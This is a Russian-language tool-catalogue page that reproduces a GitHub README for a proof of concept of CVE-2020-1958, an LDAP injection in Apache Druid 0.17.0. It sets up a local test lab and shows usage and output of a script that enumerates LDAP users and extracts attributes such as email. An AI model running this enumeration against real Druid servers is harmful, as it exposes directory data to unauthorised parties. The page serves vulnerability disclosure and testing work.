Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-1958 — Доказательство концепции эксплуатации для CVE-2020-1958, уязвимости внедрения LDAP в Apache Druid 0.17.0, позволяющей перечисление пользователей и извлечение атрибутов LDAP. | Kitploit
Инструменты/GitHubGitHub/ggolawski/cve-2020-1958
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеАутентификация
GitHubggolawski/cve-2020-1958

CVE-2020-1958

Доказательство концепции эксплуатации для CVE-2020-1958, уязвимости внедрения LDAP в Apache Druid 0.17.0, позволяющей перечисление пользователей и извлечение атрибутов LDAP.

Репозиторий
21816 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-1958 PoC

CVE-2020-1958 — это уязвимость LDAP-инъекции высокой степени серьезности в Apache Druid 0.17.0. Она позволяет злоумышленнику обойти фильтр поиска LDAP и получить значения любых атрибутов LDAP пользователей, существующих на LDAP-сервере.

Из официального уведомления Apache Druid:

Когда включена аутентификация LDAP:

  • Вызывающие API Druid с допустимым набором учетных данных LDAP могут обойти барьер фильтра credentialsValidator.userSearch, который определяет, разрешено ли допустимому пользователю LDAP проходить аутентификацию в Druid. Они по-прежнему подлежат проверкам авторизации на основе ролей, если они настроены.
  • Вызывающие API Druid могут получить любые значения атрибутов LDAP пользователей, существующих на LDAP-сервере, при условии, что эта информация видна серверу Druid. Это раскрытие информации не требует, чтобы сам вызывающий был допустимым пользователем LDAP.

PoC

Сценарий poc.py демонстрирует, как неавторизованный злоумышленник может перечислить пользователей на LDAP-сервере, интегрированном с Druid, и получить значение любого атрибута любого пользователя.

Локальный тестовый сервер Druid

Пропустите этот шаг, если у вас уже есть сервер Druid с включенной аутентификацией LDAP.

  1. Загрузите Druid 0.17.0 и распакуйте его

    root@kitploit:~
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz $ tar -zxf apache-druid-0.17.0-bin.tar.gz
  • Включите и настройте аутентификацию LDAP в conf/druid/single-server/nano-quickstart/_common/common.runtime.properties

    • Включите расширение druid-basic-security

      Найдите druid.extensions.loadList и добавьте druid-basic-security:

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • Настройте аутентификацию LDAP

      Добавьте следующее в конец файла:

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  • Запустите сервер OpenLDAP

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  • Импортируйте пользователей из users.ldif в LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  • Запустите сервер Druid

    root@kitploit:~
    $ bin/start-nano-quickstart
    
  • Перечисление пользователей

    asciicast

    root@kitploit:~
    $ ./poc.py --url http://127.0.0.1:8888/
    [INFO] Enumerating users from http://127.0.0.1:8888/
    admin1
    admin2
    admin3
    admin4
    admin5
    admin6
    admin7
    user1
    user2
    user3
    user4
    

    Получение значений атрибутов LDAP пользователя admin1

    asciicast

    root@kitploit:~
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
    [INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
    [email protected]
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
    [INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
    admin1
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
    [INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
    last
    
    Скачать инструмент